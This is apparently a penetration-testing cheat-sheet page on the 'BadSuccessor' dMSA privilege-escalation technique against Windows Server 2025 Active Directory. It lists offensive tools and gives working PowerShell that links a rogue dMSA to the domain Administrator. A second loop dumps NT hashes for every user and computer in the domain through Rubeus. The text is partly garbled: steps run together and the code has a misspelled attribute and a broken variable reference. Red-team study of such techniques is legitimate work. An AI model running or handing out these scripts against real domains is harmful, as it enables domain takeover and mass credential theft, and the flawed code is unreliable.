Password - dMSA
Delegated Managed Service Accounts (dMSAs)
BadSuccessor
Requirements:
- Windows Server 2025 Domain Controller
- Permission on any organizational unit (OU) in the domain
Tools:
- akamai/BadSuccessor/Get-BadSuccessorOUPermissions.ps1
- LuemmelSec/Pentest-Tools-Collection/BadSuccessor.ps1
- GhostPack/Rubeus PR #194
- CravateRouge/bloodyAD Commit #210f735
- skelsec/minikerberos/getDmsa.py
Manual Exploitation:
-
Verify if the DC is a Server 2025
-
Create unfunctional dMSA
-
Edit
msDS-ManagedAccountPrecededByLink
andmsDS-DelegatedMSAState
values# msDS-ManagedAccountPrecededByLink, targeted user or computer # msDS-DelegatedMSAState=2, completed migration $dMSA = [ADSI]"LDAP://CN=attacker_dmsa,OU=temp,DC=aka,DC=test" $dMSA.Put("msDS-DelegatedMSAState", 2) $dMSA.Put("msDS-ManagedAccountPrecededByLink", "CN=Administrator,CN=Users,DC=aka,DC=test") $dMSA.SetInfo()
-
dMSA authentication with Rubeus
Credential Dumping
When you request a TGT for a dMSA, it comes with a new structure called KERB-DMSA-KEY-PACKAGE. This structure includes two fields: current-keys and previous-keys. - Akamai Blog Post
The previous-keys field contains the RC4-HMAC of the password (NT Hash).
-
$domain = Get-ADDomain $dmsa = "CN=mydmsa,CN=Managed Service Accounts,$($domain.DistinguishedName)" $allDNs = @(Get-ADUser -Filter * | select @{n='DN';e={$_.DistinguishedName}}, sAMAccountName) + @(Get-ADComputer -Filter * | select @{n='DN';e={$_.DistinguishedName}}, SAMAccountName) $allDNs | % { Set-ADObject -Identity $dmsa -Replace @{ "msDS-ManagedAccountPrecendedByLink" = $_.DN } $res = Invoke-Rubeus asktgs /targeteduser:mydmsa$ /service:"krbtgt/$(domain.DNSRoot)" /opsec /dmsa /nowrap /ticket:$kirbi $rc4 = [regex]::Match($res, 'Previous Keys for .*\$: \(rc4_hmac\) ([A-F0-9]{32})').Groups[1].Value "$($_.sAMAccountName):$rc4" }